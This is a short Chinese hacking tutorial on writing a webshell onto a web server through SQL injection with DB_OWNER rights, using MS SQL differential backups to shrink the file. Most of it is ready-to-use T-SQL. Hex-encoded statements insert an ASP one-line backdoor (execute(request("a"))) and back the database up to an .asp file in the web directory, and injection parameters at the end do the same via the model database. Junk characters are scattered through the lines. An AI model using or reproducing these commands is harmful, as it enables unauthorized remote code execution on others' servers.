DB_OWNER权限得到webshell的改进方法

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减少备份文件大小，得到可执行的webshell成功率提高不少

7 a5 ^$ c& ]+ @- Z& _; j一利用差异备份
$ r+ `" d5 d3 D3 w加一个参数WITH DIFFERENTIAL

8 o2 L0 s. j: M1 w& c2 Ydeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
0 k) W& r8 z$ m/ m3 w- kinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
% c8 g, \# r# x( M% kdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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二利用完全FORMAT
) D0 f0 z9 a$ o/ a  X加一个参数WITH FROMAT
" d7 w/ k6 b6 z) K( M有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
/ ]5 l- o. {0 ]: c/ ?& w. ~: ]7 Mcreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
6 R' Z* r/ F6 l6 X6 p6 v' a, rdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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! q  u. @- Z, ]8 p- g; y总的来说就是那么简单几句,下面以备份数据库model为例子

id=1;use model create table cmd(str image);insert into cmd(str) values (”)
, G3 G5 c" _/ m% R( w" K
id=1;backup database model to disk=’你的路径‘ with differential,format;–